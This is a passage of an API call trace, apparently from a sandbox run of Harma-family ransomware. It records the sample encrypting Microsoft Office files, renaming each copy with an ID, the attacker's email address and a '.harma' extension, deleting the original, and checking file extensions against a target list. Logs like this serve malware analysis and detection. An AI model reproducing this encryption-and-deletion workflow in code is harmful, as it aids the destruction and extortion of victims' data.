dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.843] GetLastError () returned 0x0 [0151.843] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x72, lpOverlapped=0x0) returned 1 [0151.844] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0151.845] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.845] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0151.845] SetEndOfFile (hFile=0x380) returned 1 [0151.846] CloseHandle (hObject=0x380) returned 1 [0151.846] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.846] SetEndOfFile (hFile=0x384) returned 1 [0151.850] CloseHandle (hObject=0x384) returned 1 [0151.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 1 [0151.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.851] lstrlenW (lpString=".doc") returned 4 [0151.852] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0151.852] lstrlenW (lpString=".docx") returned 5 [0151.852] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0151.852] lstrlenW (lpString=".pdf") returned 4 [0151.852] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0151.852] lstrlenW (lpString=".xls") returned 4 [0151.852] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0151.852] lstrlenW (lpString=".xlsx") returned 5 [0151.852] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0151.852] lstrlenW (lpString=".ppt") returned 4 [0151.852] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0151.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.852] lstrlenW (lpString=".zip") returned 4 [0151.852] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0151.852] lstrlenW (lpString=".rar") returned 4 [0151.852] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0151.852] lstrlenW (lpString=".bz2") returned 4 [0151.852] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0151.852] lstrlenW (lpString=".7z") returned 3 [0151.852] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0151.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.852] lstrlenW (lpString=".dbf") returned 4 [0151.852] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0151.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.852] lstrlenW (lpString=".1cd") returned 4 [0151.852] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0151.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.852] lstrlenW (lpString=".jpg") returned 4 [0151.852] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0151.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.853] lstrlenW (lpString=".doc") returned 4 [0151.853] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0151.853] lstrlenW (lpString=".docx") returned 5 [0151.853] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0151.853] lstrlenW (lpString=".pdf") returned 4 [0151.853] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0151.853] lstrlenW (lpString=".xls") returned 4 [0151.853] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0151.853] lstrlenW (lpString=".xlsx") returned 5 [0151.853] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0151.853] lstrlenW (lpString=".ppt") returned 4 [0151.853] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0151.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.853] lstrlenW (lpString=".zip") returned 4 [0151.853] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0151.853] lstrlenW (lpString=".rar") returned 4 [0151.853] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0151.853] lstrlenW (lpString=".bz2") returned 4 [0151.853] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0151.853] lstrlenW (lpString=".7z") returned 3 [0151.853] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0151.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.853] lstrlenW (lpString=".dbf") returned 4 [0151.853] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0151.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.853] lstrlenW (lpString=".1cd") returned 4 [0151.853] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0151.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0151.853] lstrlenW (lpString=".jpg") returned 4 [0151.853] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0151.854] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0151.854] lstrlenW (lpString="EXCEL_K_COL.HXK") returned 15 [0151.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.854] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=113) returned 1 [0151.854] CloseHandle (hObject=0x384) returned 1 [0151.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 0x20 [0151.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.855] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.855] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.856] GetLastError () returned 0x0 [0151.856] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x71, lpOverlapped=0x0) returned 1 [0151.857] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0151.858] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.858] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0151.858] SetEndOfFile (hFile=0x380) returned 1 [0151.859] CloseHandle (hObject=0x380) returned 1 [0151.859] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.859] SetEndOfFile (hFile=0x384) returned 1 [0151.862] CloseHandle (hObject=0x384) returned 1 [0151.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 1 [0151.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.863] lstrlenW (lpString=".doc") returned 4 [0151.863] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0151.863] lstrlenW (lpString=".docx") returned 5 [0151.863] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0151.863] lstrlenW (lpString=".pdf") returned 4 [0151.863] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0151.863] lstrlenW (lpString=".xls") returned 4 [0151.863] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0151.863] lstrlenW (lpString=".xlsx") returned 5 [0151.863] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0151.863] lstrlenW (lpString=".ppt") returned 4 [0151.863] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0151.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.863] lstrlenW (lpString=".zip") returned 4 [0151.863] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0151.863] lstrlenW (lpString=".rar") returned 4 [0151.863] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0151.863] lstrlenW (lpString=".bz2") returned 4 [0151.863] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0151.864] lstrlenW (lpString=".7z") returned 3 [0151.864] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0151.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.864] lstrlenW (lpString=".dbf") returned 4 [0151.864] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0151.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.864] lstrlenW (lpString=".1cd") returned 4 [0151.864] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0151.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.864] lstrlenW (lpString=".jpg") returned 4 [0151.864] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0151.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.864] lstrlenW (lpString=".doc") returned 4 [0151.864] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0151.864] lstrlenW (lpString=".docx") returned 5 [0151.864] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0151.864] lstrlenW (lpString=".pdf") returned 4 [0151.864] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0151.864] lstrlenW (lpString=".xls") returned 4 [0151.864] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0151.864] lstrlenW (lpString=".xlsx") returned 5 [0151.864] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0151.864] lstrlenW (lpString=".ppt") returned 4 [0151.864] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0151.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.864] lstrlenW (lpString=".zip") returned 4 [0151.864] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0151.864] lstrlenW (lpString=".rar") returned 4 [0151.865] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0151.865] lstrlenW (lpString=".bz2") returned 4 [0151.865] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0151.865] lstrlenW (lpString=".7z") returned 3 [0151.865] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0151.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.865] lstrlenW (lpString=".dbf") returned 4 [0151.865] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0151.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.865] lstrlenW (lpString=".1cd") returned 4 [0151.865] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0151.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0151.865] lstrlenW (lpString=".jpg") returned 4 [0151.865] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0151.866] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0151.866] lstrlenW (lpString="EXPTOOWS.DLL") returned 12 [0151.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.867] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=12160) returned 1 [0151.867] CloseHandle (hObject=0x384) returned 1 [0151.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll")) returned 0x20 [0151.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.868] lstrlenW (lpString=".doc") returned 4 [0151.868] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.868] lstrlenW (lpString=".docx") returned 5 [0151.868] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0151.868] lstrlenW (lpString=".pdf") returned 4 [0151.868] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.868] lstrlenW (lpString=".xls") returned 4 [0151.868] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.868] lstrlenW (lpString=".xlsx") returned 5 [0151.868] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0151.868] lstrlenW (lpString=".ppt") returned 4 [0151.868] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.868] lstrlenW (lpString=".zip") returned 4 [0151.868] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.868] lstrlenW (lpString=".rar") returned 4 [0151.868] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.868] lstrlenW (lpString=".bz2") returned 4 [0151.868] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.868] lstrlenW (lpString=".7z") returned 3 [0151.868] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.868] lstrlenW (lpString=".dbf") returned 4 [0151.868] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.868] lstrlenW (lpString=".1cd") returned 4 [0151.868] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.869] lstrlenW (lpString=".jpg") returned 4 [0151.869] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.869] lstrlenW (lpString=".doc") returned 4 [0151.869] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.869] lstrlenW (lpString=".docx") returned 5 [0151.869] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0151.869] lstrlenW (lpString=".pdf") returned 4 [0151.869] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.869] lstrlenW (lpString=".xls") returned 4 [0151.869] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.869] lstrlenW (lpString=".xlsx") returned 5 [0151.869] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0151.869] lstrlenW (lpString=".ppt") returned 4 [0151.869] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.869] lstrlenW (lpString=".zip") returned 4 [0151.869] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.869] lstrlenW (lpString=".rar") returned 4 [0151.869] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.869] lstrlenW (lpString=".bz2") returned 4 [0151.869] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.869] lstrlenW (lpString=".7z") returned 3 [0151.869] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.869] lstrlenW (lpString=".dbf") returned 4 [0151.869] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.869] lstrlenW (lpString=".1cd") returned 4 [0151.870] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0151.870] lstrlenW (lpString=".jpg") returned 4 [0151.870] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.870] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0151.870] lstrlenW (lpString="FACILITY.VSL") returned 12 [0151.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.871] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=81768) returned 1 [0151.871] CloseHandle (hObject=0x384) returned 1 [0151.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 0x20 [0151.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.872] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.872] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.872] GetLastError () returned 0x0 [0151.872] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x13f68, lpOverlapped=0x0) returned 1 [0151.876] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x13f70, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x13f70, lpOverlapped=0x0) returned 1 [0151.878] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.878] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.878] SetEndOfFile (hFile=0x380) returned 1 [0151.878] CloseHandle (hObject=0x380) returned 1 [0151.878] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.878] SetEndOfFile (hFile=0x384) returned 1 [0151.882] CloseHandle (hObject=0x384) returned 1 [0151.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 1 [0151.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.883] lstrlenW (lpString=".doc") returned 4 [0151.883] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0151.883] lstrlenW (lpString=".docx") returned 5 [0151.883] lstrcmpiW (lpString1=".docx", lpString2="Y.VSL") returned -1 [0151.883] lstrlenW (lpString=".pdf") returned 4 [0151.883] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0151.883] lstrlenW (lpString=".xls") returned 4 [0151.883] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0151.883] lstrlenW (lpString=".xlsx") returned 5 [0151.883] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VSL") returned -1 [0151.883] lstrlenW (lpString=".ppt") returned 4 [0151.883] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0151.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.883] lstrlenW (lpString=".zip") returned 4 [0151.884] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0151.884] lstrlenW (lpString=".rar") returned 4 [0151.884] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0151.884] lstrlenW (lpString=".bz2") returned 4 [0151.884] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0151.884] lstrlenW (lpString=".7z") returned 3 [0151.884] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0151.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.884] lstrlenW (lpString=".dbf") returned 4 [0151.884] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0151.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.884] lstrlenW (lpString=".1cd") returned 4 